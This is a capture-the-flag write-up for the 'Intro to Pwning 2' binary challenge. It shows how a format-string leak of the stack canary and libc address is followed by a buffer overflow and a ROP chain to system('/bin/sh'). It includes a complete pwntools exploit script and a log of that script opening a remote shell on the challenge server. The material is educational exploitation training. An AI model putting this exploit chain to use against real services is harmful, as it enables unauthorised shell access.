Intro to Pwning 2 - localo

Category: Pwn
Difficulty: Baby
Author: LiveOverflow
Dependencies: Intro to Pwning 1

Description

This is a introductory challenge for exploiting Linux binaries with memory corruptions. Nowodays there are quite a few mitigations that make it not as straight forward as it used to be. So in order to introduce players to pwnable challenges, LiveOverflow created a video walkthrough of the first challenge. An alternative writeup can also be found by 0x4d5a. More resources can also be found here.

Service running at: hax1.allesctf.net:9101

Summery

This is the writeup for the second part of the Intro to Pwning series. This writeup depends on my writeup for Intro to Pwning 1.
The code for the second part is the same as for the first part, except that we are now a Ravenclaw and the program asks for the flag of the first part. But more important it has stack-protector enabled, this is the first mitigation I suggested.

Solution

With the preparation done in the last writeup the only thing that is needed is to leak the stack cookie and use that in the buffer-overflow.

We can again use telescope to get the right offset.

00:0000│ rsp  0x7fff7a715648 —▸ 0x55c35c3e2ce8 ◂— nop    
01:0008│ rdi  0x7fff7a715650 ◂— 'AAAA%45$p BBBB%39$p'
02:0010│      0x7fff7a715658 ◂— 'p BBBB%39$p'
03:0018│      0x7fff7a715660 ◂— 0x7d474100702439 /* '9$p' */
04:0020│      0x7fff7a715668 ◂— 0x0
... ↓
20:0100│      0x7fff7a715748 ◂— 0x4a00000000000000
21:0108│      0x7fff7a715750 —▸ 0x7fff7a715860 ◂— 0x1
22:0110│      0x7fff7a715758 ◂— 0x4a1d60d2b9051500
23:0118│ rbp  0x7fff7a715760 —▸ 0x7fff7a715780 —▸ 0x55c35c3e2de0 ◂— push   r15
24:0120│      0x7fff7a715768 —▸ 0x55c35c3e2dc5 ◂— mov    eax, 0
25:0128│      0x7fff7a715770 —▸ 0x7fff7a715868 —▸ 0x7fff7a717824 ◂— '/ctf/pwn2'
26:0130│      0x7fff7a715778 ◂— 0x100000000
27:0138│      0x7fff7a715780 —▸ 0x55c35c3e2de0 ◂— push   r15
28:0140│      0x7fff7a715788 —▸ 0x7f352ea90b97 (__libc_start_main+231) ◂— mov    edi, eax

The stack cookie is the random looking thing (22)

We can leak it like we leak __libc_start_main+231

Our payload should be something like %45$p %39$p the first one will leak __libc_start_main+231 (0x05+0x28=45) and the second one will leak the stack cookie (0x05+0x22=39)

With minimal changes to the exploit of Intro to Pwning 1 the exploit just works.
Caution: The flag in the C code does not match the flag in the binary, use strings to get it

$ ./rop remote
[*] '/ctf/pwn2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[x] Opening connection to hax1.allesctf.net on port 9101
[x] Opening connection to hax1.allesctf.net on port 9101: Trying 147.75.85.99
[+] Opening connection to hax1.allesctf.net on port 9101: Done
[*] '/ctf/libc.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] __libc_start_main+243: 0x7efd9b95d1e3
[+] Libc base address: 0x7efd9b936000
[+] stack canary: 0x682a994c66320e00
[*] Loaded 195 cached gadgets for 'libc.so'
[*] Switching to interactive mode
~ Protego!
$ ls
flag
pwn2
ynetd
$ cat flag
CSCG{NOW_GET_VOLDEMORT}
$ exit
[*] Got EOF while reading in interactive
[*] Interrupted

Code

#!/usr/bin/env python3
from pwn import *
from huepy import *
import sys
import os
import socket
import subprocess
import re

vuln_host = 'hax1.allesctf.net'#'127.0.0.1'
vuln_port = '9101'

app_path = os.getcwd()+'/pwn2'

lo = not 'remote' in sys.argv
dbg = 'dbg' in sys.argv or 'debug' in sys.argv

if dbg:
    log.setLevel(2)

break_main = 'break_main' in sys.argv
buffer_overflow = 'buffer_overflow' in sys.argv

context(os='linux', arch='amd64', bits=64, terminal=['tmux', 'splitw', '-h'])

def init_dbg(app_path):
    args = []
    if break_main and not buffer_overflow:
        args.append('set stop-on-solib-events 1')
        args.append('continue')
        args.append('continue')
        args.append('break __libc_start_main')
        args.append('commands')
        args.append('break *$rdi')
        args.append('continue')
        args.append('end')
        args.append('continue')
        args.append('delete')
    elif buffer_overflow:
        args.append('set context-sections ""')
        args.append('define hook-stop')
        args.append('printf "cyclic: %p\\n", *((int *)$rsp)')
        args.append('python __import__("time").sleep(10000)')
        args.append('end')
        args.append('continue')
    else:
        args.append('continue')
    return gdb.debug(app_path, "\n".join(args))


elf = ELF(app_path)
if lo:
    p = process(app_path) if not dbg else init_dbg(app_path)
    lib = "/lib/x86_64-linux-gnu/libc.so.6"
else:
    p = remote(vuln_host,vuln_port)
    lib = "libc.so"
libc = ELF(lib)

def nop_libc():
    rop = ROP(libc)
    rop.raw(rop.search(regs=[], order = 'regs')[0])
    return rop.chain()

def leak_libc_start_main(addr):
    code = libc.disasm(libc.symbols['__libc_start_main'],0x500)
    r = re.findall(r".*call.*rax.*",code)
    if len(r)>0:
        offset = int(r[0].split(":")[0].strip(),16)+len(asm('call rax'))
        log.success("__libc_start_main+%d: "%(offset-libc.symbols['__libc_start_main']) + green(hex(leak)))
        libc.address = leak -offset
        return
    log.error("failed to leak libc, can't calculate base address")
    exit(1)

def shell_system():
    rop = ROP(libc)
    rop.raw(rop.find_gadget(['pop rdi','ret'])[0])
    rop.raw(next(libc.search(b'/bin/sh\x00')))
    rop.call(libc.symbols['system'])
    log.debug("Shell chain: \n" + white(rop.dump()))
    return rop.chain()

#PWN
if lo:
    p.sendlineafter(":\n",r"CSCG{THIS_IS_TEST_FLAG}")
else:
    p.sendlineafter(":\n",r"CSCG{NOW_PRACTICE_MORE}")

if buffer_overflow:
    p.sendlineafter(":",b"A")
    p.sendlineafter(":",b"Expelliarmus\x00"+cyclic(4096)) #we will hit the stack protector, but the padding hasn't changed anyway

p.sendlineafter(":\n",b"AAAA%45$p BBBB%39$p")
p.readuntil("AAAA")
leak = int(p.readuntil(" ").rstrip(),16)
leak_libc_start_main(leak)
log.success("Libc base address: " + green(hex(libc.address)))
p.readuntil("BBBB")
leak = int(p.readuntil(" ").rstrip(),16)
log.success("stack canary: " + green(hex(leak)))
padding = cyclic_find(0x61616e63)
p.sendlineafter(":",b"Expelliarmus\x00"+b"B"*padding+p64(leak)+nop_libc()+nop_libc()+shell_system())

p.interactive()

Mitigation

Flag

CSCG{NOW_GET_VOLDEMORT}